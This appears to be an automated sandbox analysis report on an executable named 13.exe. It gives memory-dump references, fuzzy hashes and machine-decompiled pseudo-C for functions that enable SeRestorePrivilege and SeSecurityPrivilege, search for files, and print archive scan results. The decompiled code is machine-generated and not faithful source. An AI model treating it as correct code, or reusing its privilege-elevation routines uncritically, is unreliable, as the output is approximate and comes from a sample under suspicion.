Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8d6d91e716bd15d31d584d24bce01ac45827ac927d59d9b6ca6f9c1b067ab63a
Instruction ID: fb7b6b1053817834b69614e2367650d44185121494f8c65083edc678544ef21b
Opcode Fuzzy Hash: 8d6d91e716bd15d31d584d24bce01ac45827ac927d59d9b6ca6f9c1b067ab63a
Instruction Fuzzy Hash: 9C316DB16042009BDB14EF29D4C075BB7E0EF48318F18966AED558F34AE739D885CBD6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 13.exePID: 5144, Parent PID: 5472COMMON

Executed Functions

Function 01237EB5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E01237EB5(WCHAR* __ecx, signed char __edx) {
				signed int _v5;
				void* _v12;
				signed int _v16;
				struct _TOKEN_PRIVILEGES _v28;
				int _t17;
				int _t20;
				signed int _t21;
				signed char _t22;
				signed char _t23;
				WCHAR* _t30;

				_v5 = _v5 & 0x00000000;
				_t22 = __edx;
				_t30 = __ecx;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v12) == 0) {
					_t23 = _v5;
				} else {
					_t17 = LookupPrivilegeValueW(0, _t30,  &(_v28.Privileges)); // executed
					if(_t17 == 0) {
						L4:
						_t23 = _v5;
					} else {
						_v28.PrivilegeCount = 1;
						asm("sbb ebx, ebx");
						_v16 =  ~_t22 & 0x00000002;
						_t20 = AdjustTokenPrivileges(_v12, 0,  &_v28, 0, 0, 0); // executed
						if(_t20 == 0) {
							goto L4;
						} else {
							_t21 = GetLastError();
							asm("sbb bl, bl");
							_t23 =  ~_t21 + 1;
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				return _t23;
			}

0x01237ebb
0x01237ec5
0x01237ec7
0x01237eda
0x01237f32
0x01237edc
0x01237ee4
0x01237eec
0x01237f24
0x01237f24
0x01237eee
0x01237efb
0x01237f02
0x01237f07
0x01237f0a
0x01237f12
0x00000000
0x01237f14
0x01237f14
0x01237f1e
0x01237f20
0x01237f20
0x01237f12
0x01237f2a
0x01237f2a
0x01237f3a

APIs

GetCurrentProcess.KERNEL32(00000020,0123B936,?,00000000,?,?,?,?,0123B936,0123B801), ref: 01237ECB
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0123B936,0123B801), ref: 01237ED2
LookupPrivilegeValueW.ADVAPI32(00000000,SeRestorePrivilege,?), ref: 01237EE4
AdjustTokenPrivileges.ADVAPI32(0123B936,00000000,?,00000000,00000000,00000000), ref: 01237F0A
GetLastError.KERNEL32 ref: 01237F14
FindCloseChangeNotification.KERNELBASE(0123B936,?,?,?,?,0123B936,0123B801), ref: 01237F2A

Strings

SeRestorePrivilege, xrefs: 01237EE0

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ProcessToken$AdjustChangeCloseCurrentErrorFindLastLookupNotificationOpenPrivilegePrivilegesValue
String ID: SeRestorePrivilege
API String ID: 2838110999-1684392131
Opcode ID: 3c420d8945e4f4ae095b2cac58747fd491baeab4b3d0ac4a8b4438a99656c7ae
Instruction ID: 74c2c41df4738909ae0501ce1311ca235cfd644b4b1799cce60f159241a699ec
Opcode Fuzzy Hash: 3c420d8945e4f4ae095b2cac58747fd491baeab4b3d0ac4a8b4438a99656c7ae
Instruction Fuzzy Hash: 090180B6965219AFDB205FF5AC4DBEF7F7CEF15200F044464E642E2190D6758609C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0123D4F9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0123D4F9(void* __eflags) {
				void* _t16;
				int _t25;
				signed int _t26;
				int _t28;
				void* _t38;

				E012639E0(E01264C14, _t38);
				_t28 = 0;
				 *(_t38 - 0x10) = 0;
				 *(_t38 - 4) = 0;
				_t16 = GetCurrentProcess();
				E0123D597(_t38 - 0x10);
				if(OpenProcessToken(_t16, 0x28, _t38 - 0x10) != 0) {
					 *(_t38 - 0x20) = 1;
					 *((intOrPtr*)(_t38 - 0x14)) = 2;
					if(LookupPrivilegeValueW(0, L"SeSecurityPrivilege", _t38 - 0x1c) != 0) {
						_t25 = AdjustTokenPrivileges( *(_t38 - 0x10), 0, _t38 - 0x20, 0, 0, 0); // executed
						if(_t25 != 0) {
							_t26 = GetLastError();
							asm("sbb bl, bl");
							_t28 =  ~_t26 + 1;
						}
					}
				}
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				E0123D597(_t38 - 0x10);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t28;
			}

0x0123d4fe
0x0123d507
0x0123d50a
0x0123d50d
0x0123d510
0x0123d51b
0x0123d52f
0x0123d534
0x0123d542
0x0123d551
0x0123d55e
0x0123d566
0x0123d568
0x0123d572
0x0123d574
0x0123d574
0x0123d566
0x0123d551
0x0123d576
0x0123d57d
0x0123d589
0x0123d591

APIs

__EH_prolog.LIBCMT ref: 0123D4FE
GetCurrentProcess.KERNEL32(?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D510
OpenProcessToken.ADVAPI32(00000000,00000028,?,?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D527
LookupPrivilegeValueW.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 0123D549
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D55E
GetLastError.KERNEL32(?,00000000,?,?,00000000,00000000,761F89A0), ref: 0123D568

Strings

SeSecurityPrivilege, xrefs: 0123D53C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ProcessToken$AdjustCurrentErrorH_prologLastLookupOpenPrivilegePrivilegesValue
String ID: SeSecurityPrivilege
API String ID: 3475889169-2333288578
Opcode ID: a8335d8ccfa58ca04e75de069ea45cfb6f247fc546d75dca359025dc6ea86621
Instruction ID: 24628d93210faefe66ab8fcbe1b09f362d975ba7f5510b1142caa7d3f5325cee
Opcode Fuzzy Hash: a8335d8ccfa58ca04e75de069ea45cfb6f247fc546d75dca359025dc6ea86621
Instruction Fuzzy Hash: 8B111EB195121AAFDB20DFE5EC88AFEBBBCFB14254F408529E511E22D0D7748904CB60

Uniqueness

Uniqueness Score: -1.00%

Function 012358CD Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E012358CD(void* __ebx, void** __ecx, void* __edi, void* __eflags) {
				void* _t22;
				signed int _t25;
				void* _t31;
				void* _t33;
				void** _t48;
				void* _t50;

				E012639E0(E01264584, _t50);
				_t48 = __ecx;
				if(E012358AD(__ecx) == 0) {
					L9:
					_t22 = 0;
				} else {
					_t33 = E01237553( *(_t50 + 8));
					if(_t33 != 1) {
						_t31 = FindFirstFileW( *(_t50 + 8), _t50 - 0x268); // executed
						 *_t48 = _t31;
					}
					if( *_t48 == 0xffffffff && _t33 != 0) {
						_t25 = E012328E9(_t50 - 0x18);
						 *(_t50 - 4) =  *(_t50 - 4) & 0x00000000;
						if(E0123765C( *(_t50 + 8), _t50 - 0x18, _t50, _t25 & 0xffffff00 | _t33 != 0x00000001) != 0) {
							_t27 = FindFirstFileW( *(_t50 - 0x18), _t50 - 0x268); // executed
							 *_t48 = _t27;
						}
						 *(_t50 - 4) =  *(_t50 - 4) | 0xffffffff;
						E01231ABD(_t27,  *(_t50 - 0x18));
					}
					if( *_t48 != 0xffffffff) {
						E0123597E(_t50 - 0x268,  *((intOrPtr*)(_t50 + 0xc)), __eflags);
						_t22 = 1;
					} else {
						goto L9;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t50 - 0xc));
				return _t22;
			}

0x012358d2
0x012358de
0x012358e7
0x0123595b
0x0123595b
0x012358e9
0x012358f9
0x012358fe
0x0123590a
0x0123590c
0x0123590c
0x01235911
0x0123591a
0x0123591f
0x01235937
0x01235943
0x01235945
0x01235945
0x0123594a
0x0123594e
0x01235953
0x01235959
0x01235968
0x0123596d
0x00000000
0x00000000
0x00000000
0x01235959
0x01235973
0x0123597b

APIs

__EH_prolog.LIBCMT ref: 012358D2

Part of subcall function 012358AD: FindClose.KERNEL32(00000000,?,012358E5), ref: 012358B8

FindFirstFileW.KERNELBASE(?,?,00000001,00000000), ref: 0123590A
FindFirstFileW.KERNELBASE(?,?,00000000,00000001,00000000), ref: 01235943

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Find$FileFirst$CloseH_prolog
String ID:
API String ID: 3371352514-0
Opcode ID: 3c1740608490c29d6ac094a007ebc6cf463a1e3a76362501ffb019a02a7da4be
Instruction ID: 9ff97fc22ba5fafb059ec0069f181a535388593f2d7d252d1fb753fee0b2b0ee
Opcode Fuzzy Hash: 3c1740608490c29d6ac094a007ebc6cf463a1e3a76362501ffb019a02a7da4be
Instruction Fuzzy Hash: 3E11B6B141020BDFCF20EF68C8405FDB7B9EF91234F104659DAA9571D0DB714985DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0125EEE3 Relevance: 56.7, APIs: 15, Strings: 17, Instructions: 681
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0125EEE3(struct _IO_FILE** __ebx, intOrPtr __esi) {
				struct _IO_FILE** _t377;
				void* _t379;
				signed int _t380;
				intOrPtr _t392;
				signed int _t397;
				signed int _t401;
				signed int _t410;
				signed int _t414;
				signed int _t422;
				signed int _t434;
				void* _t450;
				void* _t455;
				signed int _t456;
				void* _t489;
				struct _IO_FILE** _t516;
				signed int _t530;
				struct _IO_FILE** _t557;
				signed int _t566;
				struct _IO_FILE** _t568;
				struct _IO_FILE** _t569;
				struct _IO_FILE** _t590;
				void* _t596;
				struct _IO_FILE** _t603;
				struct _IO_FILE** _t759;
				struct _IO_FILE** _t772;
				void* _t790;
				struct _IO_FILE** _t799;
				signed int _t801;
				intOrPtr _t802;
				signed int _t805;
				struct _IO_FILE** _t807;
				void* _t808;

				_t802 = __esi;
				_t603 = __ebx;
				if( *((intOrPtr*)(_t808 - 0x318)) == 6) {
					_t799 = 0;
					 *((intOrPtr*)(_t808 - 0x48)) = 0;
					 *((intOrPtr*)(_t808 - 0x44)) = 0;
					 *((intOrPtr*)(_t808 - 0x40)) = 0;
					 *((intOrPtr*)(_t808 - 0x54)) = 0;
					 *((intOrPtr*)(_t808 - 0x50)) = 0;
					 *((intOrPtr*)(_t808 - 0x4c)) = 0;
					__eflags =  *((char*)(_t808 - 0x336));
					_t603 = fputs;
					 *(_t808 - 4) = 0xd;
					if(__eflags == 0) {
						_push(0xc8);
						 *((intOrPtr*)(_t808 - 0x3fc)) = 0x126c6a0;
						E0125E094(_t808 - 0x3ec, __eflags);
						 *((intOrPtr*)(_t808 - 0x3fc)) = 0x126c698;
						_t377 =  *0x12746fc;
						asm("sbb ecx, ecx");
						 *(_t808 - 4) = 0xe;
						 *(_t808 - 0x3f8) =  ~( *(_t808 - 0x334)) & _t377;
						 *(_t808 - 0x3f4) =  *0x1274700;
						 *(_t808 - 0x348) =  *(_t808 - 0x18);
						__eflags = _t377;
						 *((intOrPtr*)(_t808 - 0x340)) =  *(_t808 - 0x14) - 1;
						if(_t377 != 0) {
							__eflags =  *(_t808 - 0x334);
							if( *(_t808 - 0x334) != 0) {
								fputs("Scanning the drive for archives:",  *_t377);
								E01231CAE(_t377);
							}
						}
						 *(_t808 - 0xac) = _t799;
						 *(_t808 - 0xa8) = _t799;
						 *(_t808 - 0xa4) = _t799;
						 *(_t808 - 0xa0) = _t799;
						 *(_t808 - 0x9c) = _t799;
						 *(_t808 - 0x98) = _t799;
						 *(_t808 - 0x94) = _t799;
						 *(_t808 - 0x90) = _t799;
						 *(_t808 - 0x8c) = _t799;
						 *(_t808 - 0x88) = _t799;
						 *(_t808 - 0x84) = _t799;
						 *(_t808 - 0x80) = _t799;
						E0125A34A(_t808 - 0x3fc);
						_t379 = E012328E9(_t808 - 0x60);
						_push(_t808 - 0x3fc);
						_push(_t808 - 0xac);
						_push(_t808 - 0x54);
						_push(_t808 - 0x48);
						_push(_t379);
						 *(_t808 - 4) = 0xf;
						_t380 = E01248549(_t603, _t808 - 0x2e4, 0, _t799, __eflags); // executed
						 *(_t808 - 0x20) = _t380;
						 *(_t808 - 4) = 0xe;
						E01231ABD(_t380,  *((intOrPtr*)(_t808 - 0x60)));
						__eflags =  *(_t808 - 0x348) - _t799;
						if( *(_t808 - 0x348) != _t799) {
							E0126183F(_t808 - 0x3ec, _t799, 1);
						}
						__eflags =  *(_t808 - 0x20) - _t799;
						if(__eflags == 0) {
							__eflags =  *(_t808 - 0x334);
							if(__eflags != 0) {
								_push(_t808 - 0xac);
								E0125A6F7(_t808 - 0x3fc);
							}
						}
						 *(_t808 - 4) = 0xd;
						E012617A6(_t808 - 0x3ec, _t799, __eflags);
						__eflags =  *(_t808 - 0x20) - _t799;
						if( *(_t808 - 0x20) != _t799) {
							L105:
							 *(_t808 - 4) = 0xc;
							E01248B2E(_t603, _t808 - 0x54);
							 *(_t808 - 4) = 9;
							E01248B2E(_t603, _t808 - 0x48);
							L106:
							if( *((char*)(_t808 - 0x2f7)) != 0 &&  *0x12746fc != 0) {
								E01260A10();
							}
							E01231ABD(E012609F5( *(_t808 - 0x20)),  *((intOrPtr*)(_t808 - 0xd0)));
							 *(_t808 - 4) = 6;
							E01249E21(_t808 - 0xc4);
							_t627 =  *((intOrPtr*)(_t808 - 0x1c));
							 *(_t808 - 4) = 5;
							_t825 =  *((intOrPtr*)(_t808 - 0x1c));
							if( *((intOrPtr*)(_t808 - 0x1c)) != 0) {
								E0124BD18(_t627);
							}
							 *(_t808 - 4) = 3;
							E0125FCF6(_t603, _t808 - 0xf0);
							 *(_t808 - 4) = 2;
							E012311BB(_t603, _t808 - 0x448, _t799);
							 *(_t808 - 4) =  *(_t808 - 4) & 0x00000000;
							E01260E30(_t603, _t808 - 0x33c, _t825);
							 *(_t808 - 4) =  *(_t808 - 4) | 0xffffffff;
							E01248B2E(_t603, _t808 - 0x7c);
							_t392 =  *((intOrPtr*)(_t808 - 0x3c));
							 *[fs:0x0] =  *((intOrPtr*)(_t808 - 0xc));
							return _t392;
						} else {
							L38:
							__eflags =  *(_t808 - 0xd);
							if( *(_t808 - 0xd) == 0) {
								_push(_t808 - 0x38);
								_push(_t808 - 0x2c);
								_push(_t808 - 0x2c0);
								_push(_t808 - 0x304);
								_push(_t808 - 0x308);
								 *(_t808 - 0x2c) = _t799;
								_push( *((intOrPtr*)(_t808 - 0x2f8)));
								 *(_t808 - 0x28) = _t799;
								 *(_t808 - 0x38) = _t799;
								 *(_t808 - 0x34) = _t799;
								_push( *(_t808 - 0x334));
								_t397 =  *((intOrPtr*)( *((intOrPtr*)(_t808 - 0x330)))) + 0xc;
								__eflags = _t397;
								_push(_t397);
								_push( *((intOrPtr*)(_t808 - 0x28e)));
								_push( *((intOrPtr*)(_t808 - 0x296)));
								_push(_t808 - 0x54);
								_push(_t808 - 0x48);
								_push( *((intOrPtr*)(_t808 - 0x336)));
								_push(_t808 - 0xd0);
								_t401 = L0125D42A( *((intOrPtr*)(_t808 - 0x1c)), _t808 - 0xc4, _t397);
								__eflags =  *(_t808 - 0x334);
								 *(_t808 - 0x20) = _t401;
								if( *(_t808 - 0x334) == 0) {
									L100:
									__eflags =  *(_t808 - 0x28) - _t799;
									if( *(_t808 - 0x28) > _t799) {
										L102:
										__eflags =  *(_t808 - 0x334);
										if( *(_t808 - 0x334) != 0) {
											E01231CAE(0x1274440);
											 *_t603("Errors: ",  *0x1274440);
											E01231CAE(E01231F47(0x1274440,  *(_t808 - 0x2c),  *(_t808 - 0x28)));
										}
										 *((intOrPtr*)(_t808 - 0x3c)) = 2;
										goto L105;
									}
									__eflags =  *(_t808 - 0x2c) - _t799;
									if( *(_t808 - 0x2c) <= _t799) {
										goto L105;
									}
									goto L102;
								} else {
									__eflags =  *(_t808 - 0x34) - _t799;
									if( *(_t808 - 0x34) > _t799) {
										L99:
										E01231CAE(0x1274440);
										 *_t603("Warnings: ",  *0x1274440);
										E01231CAE(E01231F47(0x1274440,  *(_t808 - 0x38),  *(_t808 - 0x34)));
										goto L100;
									}
									__eflags =  *(_t808 - 0x38) - _t799;
									if( *(_t808 - 0x38) <= _t799) {
										goto L100;
									}
									goto L99;
								}
							}
							_push(0x178);
							_t410 = E01231A96();
							 *(_t808 - 0x34) = _t410;
							__eflags = _t410 - _t799;
							 *(_t808 - 4) = 0x10;
							if(__eflags == 0) {
								_t805 = 0;
								__eflags = 0;
							} else {
								_t805 = E01260157(_t410, __eflags);
							}
							__eflags = _t805 - _t799;
							 *(_t808 - 4) = 0xd;
							 *(_t808 - 0x34) = _t805;
							if(_t805 != _t799) {
								 *((intOrPtr*)( *_t805 + 4))(_t805);
							}
							_t173 = _t805 + 0xe4; // 0xe4
							 *((char*)(_t805 + 0xe1)) =  *((intOrPtr*)(_t808 - 0x308));
							 *(_t808 - 4) = 0x11;
							E01232A8C(_t173, _t808 - 0x304);
							_t414 = E012602D6(_t805,  *0x12746fc,  *0x1274700,  *(_t808 - 0x18));
							__eflags =  *((intOrPtr*)(_t808 - 0x44)) - 1;
							__eflags =  *(_t808 - 0x18) - _t799;
							 *((char*)(_t805 + 0xe0)) = _t414 & 0xffffff00 |  *((intOrPtr*)(_t808 - 0x44)) - 0x00000001 > 0x00000000;
							 *((intOrPtr*)(_t805 + 0x170)) =  *((intOrPtr*)(_t808 - 0x134));
							 *(_t805 + 0x16c) =  *(_t808 - 0x24);
							if(__eflags != 0) {
								_t530 =  *(_t808 - 0x14) - 1;
								__eflags = _t530;
								 *(_t805 + 0xc4) = _t530;
							}
							E0125FD74(_t808 - 0x12c, __eflags);
							 *(_t808 - 4) = 0x12;
							E01260F65(_t808 - 0x12c, _t808 - 0x2b4);
							__eflags =  *((intOrPtr*)(_t808 - 0x318)) - 3;
							 *((char*)(_t808 - 0x108)) =  *((intOrPtr*)(_t808 - 0x336));
							_t422 =  *((intOrPtr*)(_t808 - 0x333));
							 *(_t808 - 0x106) = _t422;
							 *(_t808 - 0x107) = _t422;
							 *((char*)(_t808 - 0x105)) = _t422 & 0xffffff00 |  *((intOrPtr*)(_t808 - 0x318)) == 0x00000003;
							_push(_t808 - 0x2c0);
							E0123D18C(_t808 - 0x104);
							E012328E9(_t808 - 0x60);
							 *(_t808 - 4) = 0x13;
							E0124ADD3(_t808 - 0x39c);
							__eflags =  *((intOrPtr*)(_t808 - 0x2f0)) - _t799;
							 *(_t808 - 4) = 0x14;
							 *(_t808 - 0x14) = _t799;
							if( *((intOrPtr*)(_t808 - 0x2f0)) != _t799) {
								 *(_t808 - 0x14) = _t808 - 0x39c;
								_push(_t808 - 0x2f4);
								_push(_t808 - 0xf0);
								E012609F5(E0124A2E2(_t808 - 0x39c));
							}
							_push(_t808 - 0xb4);
							_push(_t808 - 0x60);
							_push( *(_t808 - 0x14));
							_t219 = _t805 + 0x10; // 0x10
							_push(_t805);
							asm("sbb edx, edx");
							_push( ~_t805 & _t219);
							_push(_t808 - 0x12c);
							_push( *((intOrPtr*)( *((intOrPtr*)(_t808 - 0x330)))) + 0xc);
							_push(_t808 - 0x54);
							_push(_t808 - 0x48);
							_push(_t808 - 0xd0); // executed
							_t434 = E01248D6E( *((intOrPtr*)(_t808 - 0x1c)), _t808 - 0xc4); // executed
							__eflags =  *((intOrPtr*)(_t805 + 0xbc)) - _t799;
							 *(_t808 - 0x20) = _t434;
							if( *((intOrPtr*)(_t805 + 0xbc)) != _t799) {
								_t228 = _t805 + 0x18; // 0x18
								E0126183F(_t228, _t799, 1);
							}
							__eflags =  *((intOrPtr*)(_t808 - 0x5c)) - _t799;
							if( *((intOrPtr*)(_t808 - 0x5c)) != _t799) {
								_t516 =  *0x1274700; // 0x1274438
								__eflags = _t516 - _t799;
								if(_t516 != _t799) {
									 *(_t808 - 0x24) = _t516;
									E01231CAE(_t516);
									fputs("ERROR:",  *( *(_t808 - 0x24)));
									E01231CAE( *(_t808 - 0x24));
									_push( *((intOrPtr*)(_t808 - 0x60)));
									E01231CAE(E01231CC1( *(_t808 - 0x24)));
								}
								__eflags =  *(_t808 - 0x20) - _t799;
								if( *(_t808 - 0x20) == _t799) {
									 *(_t808 - 0x20) = 0x80004005;
								}
							}
							_t799 =  *0x12746fc; // 0x1274440
							 *(_t808 - 0xd) =  *(_t808 - 0xd) & 0x00000000;
							__eflags = _t799;
							if(_t799 == 0) {
								L59:
								__eflags =  *(_t805 + 0x130) |  *(_t805 + 0x134);
								if(( *(_t805 + 0x130) |  *(_t805 + 0x134)) != 0) {
									__eflags = _t799;
									 *(_t808 - 0xd) = 1;
									if(_t799 != 0) {
										fputs("Can\'t open as archive: ",  *_t799);
										E01231CAE(E01231F47(_t799,  *(_t805 + 0x130),  *(_t805 + 0x134)));
									}
								}
								__eflags =  *(_t805 + 0x138) |  *(_t805 + 0x13c);
								if(( *(_t805 + 0x138) |  *(_t805 + 0x13c)) == 0) {
									L65:
									__eflags = _t799;
									if(_t799 != 0) {
										_t256 = _t805 + 0x140; // 0x140
										_t489 = _t256;
										__eflags =  *(_t805 + 0x140) |  *(_t489 + 4);
										if(( *(_t805 + 0x140) |  *(_t489 + 4)) != 0) {
											fputs("Archives with Warnings: ",  *_t799);
											_t258 = _t805 + 0x140; // 0x140
											E01231CAE(E01231F47(_t799,  *_t258,  *((intOrPtr*)(_t258 + 4))));
										}
										__eflags =  *(_t805 + 0x150) |  *(_t805 + 0x154);
										if(( *(_t805 + 0x150) |  *(_t805 + 0x154)) != 0) {
											E01231CAE(_t799);
											__eflags =  *(_t805 + 0x150) |  *(_t805 + 0x154);
											if(( *(_t805 + 0x150) |  *(_t805 + 0x154)) != 0) {
												fputs("Warnings: ",  *_t799);
												E01231CAE(E01231F47(_t799,  *(_t805 + 0x150),  *(_t805 + 0x154)));
											}
										}
									}
									goto L71;
								} else {
									__eflags = _t799;
									 *(_t808 - 0xd) = 1;
									if(_t799 == 0) {
										L71:
										__eflags =  *(_t805 + 0x148) |  *(_t805 + 0x14c);
										if(( *(_t805 + 0x148) |  *(_t805 + 0x14c)) == 0) {
											L75:
											__eflags =  *(_t808 - 0xd);
											if( *(_t808 - 0xd) == 0) {
												L77:
												__eflags = _t799;
												if(_t799 == 0) {
													L93:
													 *(_t808 - 4) = 0x13;
													E01231ABD(E0124AE4E(_t808 - 0x39c),  *((intOrPtr*)(_t808 - 0x60)));
													 *(_t808 - 4) = 0x15;
													E01231ABD(E01261159(_t808 - 0x104),  *((intOrPtr*)(_t808 - 0x120)));
													__eflags = _t805;
													 *(_t808 - 4) = 0xd;
													if(_t805 != 0) {
														 *((intOrPtr*)( *_t805 + 8))(_t805);
													}
													goto L105;
												}
												__eflags =  *(_t805 + 0x138) |  *(_t805 + 0x13c);
												if(( *(_t805 + 0x138) |  *(_t805 + 0x13c)) != 0) {
													L91:
													E01231CAE(_t799);
													_t309 = _t805 + 0x158; // 0x158
													_t450 = _t309;
													__eflags =  *(_t805 + 0x158) |  *(_t450 + 4);
													if(( *(_t805 + 0x158) |  *(_t450 + 4)) != 0) {
														fputs("Sub items Errors: ",  *_t799);
														_t311 = _t805 + 0x158; // 0x158
														E01231CAE(E01231F47(_t799,  *_t311,  *((intOrPtr*)(_t311 + 4))));
													}
													goto L93;
												}
												_t278 = _t805 + 0x158; // 0x158
												_t455 = _t278;
												__eflags =  *(_t805 + 0x158) |  *(_t455 + 4);
												if(( *(_t805 + 0x158) |  *(_t455 + 4)) != 0) {
													goto L91;
												}
												__eflags =  *(_t808 - 0x20);
												if( *(_t808 - 0x20) != 0) {
													goto L93;
												}
												_t456 =  *(_t808 - 0x94);
												__eflags = _t456 |  *(_t808 - 0x90);
												if((_t456 |  *(_t808 - 0x90)) != 0) {
													fputs("Folders: ",  *_t799);
													E01231CAE(E01231F47(_t799,  *(_t808 - 0x94),  *(_t808 - 0x90)));
													_t456 =  *(_t808 - 0x94);
												}
												__eflags =  *(_t808 - 0x8c) - 1;
												if( *(_t808 - 0x8c) != 1) {
													L87:
													fputs("Files: ",  *_t799);
													E01231CAE(E01231F47(_t799,  *(_t808 - 0x8c),  *(_t808 - 0x88)));
													__eflags =  *(_t808 - 0x84) |  *(_t808 - 0x80);
													if(( *(_t808 - 0x84) |  *(_t808 - 0x80)) != 0) {
														fputs("Alternate Streams: ",  *_t799);
														E01231CAE(E01231F47(_t799,  *(_t808 - 0x84),  *(_t808 - 0x80)));
														fputs("Alternate Streams Size: ",  *_t799);
														E01231CAE(E01231F47(_t799,  *(_t808 - 0xa4),  *(_t808 - 0xa0)));
													}
													goto L89;
												} else {
													__eflags =  *(_t808 - 0x88);
													if( *(_t808 - 0x88) != 0) {
														goto L87;
													}
													__eflags = _t456 |  *(_t808 - 0x90);
													if((_t456 |  *(_t808 - 0x90)) != 0) {
														goto L87;
													}
													__eflags =  *(_t808 - 0x84) |  *(_t808 - 0x80);
													if(( *(_t808 - 0x84) |  *(_t808 - 0x80)) == 0) {
														L89:
														fputs("Size:       ",  *_t799);
														 *(_t808 - 0x28) = E01231F47(_t799,  *(_t808 - 0xac),  *(_t808 - 0xa8));
														E01231CAE(_t463);
														fputs("Compressed: ",  *( *(_t808 - 0x28)));
														E01231CAE(E01231F47( *(_t808 - 0x28),  *(_t808 - 0x9c),  *(_t808 - 0x98)));
														__eflags =  *(_t808 - 0x14);
														if( *(_t808 - 0x14) != 0) {
															E01231CAE(_t799);
															E0125BF06(_t799, _t808 - 0x39c);
														}
														goto L93;
													}
													goto L87;
												}
											}
											L76:
											 *((intOrPtr*)(_t808 - 0x3c)) = 2;
											goto L77;
										}
										__eflags = _t799;
										 *(_t808 - 0xd) = 1;
										if(_t799 == 0) {
											goto L76;
										}
										E01231CAE(_t799);
										__eflags =  *(_t805 + 0x148) |  *(_t805 + 0x14c);
										if(( *(_t805 + 0x148) |  *(_t805 + 0x14c)) == 0) {
											goto L76;
										}
										fputs("Open Errors: ",  *_t799);
										E01231CAE(E01231F47(_t799,  *(_t805 + 0x148),  *(_t805 + 0x14c)));
										goto L75;
									}
									fputs("Archives with Errors: ",  *_t799);
									E01231CAE(E01231F47(_t799,  *(_t805 + 0x138),  *(_t805 + 0x13c)));
									goto L65;
								}
							} else {
								E01231CAE(_t799);
								__eflags =  *(_t805 + 0x11c);
								if( *(_t805 + 0x11c) > 0) {
									L58:
									fputs("Archives: ",  *_t799);
									_t241 = _t805 + 0x118; // 0x118
									E01231CAE(E01231F47(_t799,  *_t241,  *((intOrPtr*)(_t241 + 4))));
									fputs("OK archives: ",  *_t799);
									E01231CAE(E01231F47(_t799,  *((intOrPtr*)(_t805 + 0x128)),  *((intOrPtr*)(_t805 + 0x12c))));
									goto L59;
								}
								__eflags =  *((intOrPtr*)(_t805 + 0x118)) - 1;
								if( *((intOrPtr*)(_t805 + 0x118)) <= 1) {
									goto L59;
								}
								goto L58;
							}
						}
					}
					_push(_t808 - 0x2cc);
					E0123150C(_t808 - 0x48);
					_push(_t808 - 0x2cc);
					E0123150C(_t808 - 0x54);
					goto L38;
				}
				if(E0123B621(_t808 - 0x318) == 0) {
					__eflags =  *((intOrPtr*)(_t808 - 0x318)) - 9;
					if(__eflags != 0) {
						_t790 = 7;
						E012605EE(_t790);
						goto L106;
					}
					E0126054D(_t808 - 0x580, __eflags);
					__eflags =  *(_t808 - 0x18) - __esi;
					 *(_t808 - 4) = 0x1a;
					if( *(_t808 - 0x18) != __esi) {
						_t566 =  *(_t808 - 0x14) - 1;
						__eflags = _t566;
						 *(_t808 - 0x4cc) = _t566;
					}
					_t799 =  *0x1274700; // 0x1274438
					_t603 =  *0x12746fc; // 0x1274440
					E0124C900(_t808 - 0x49c);
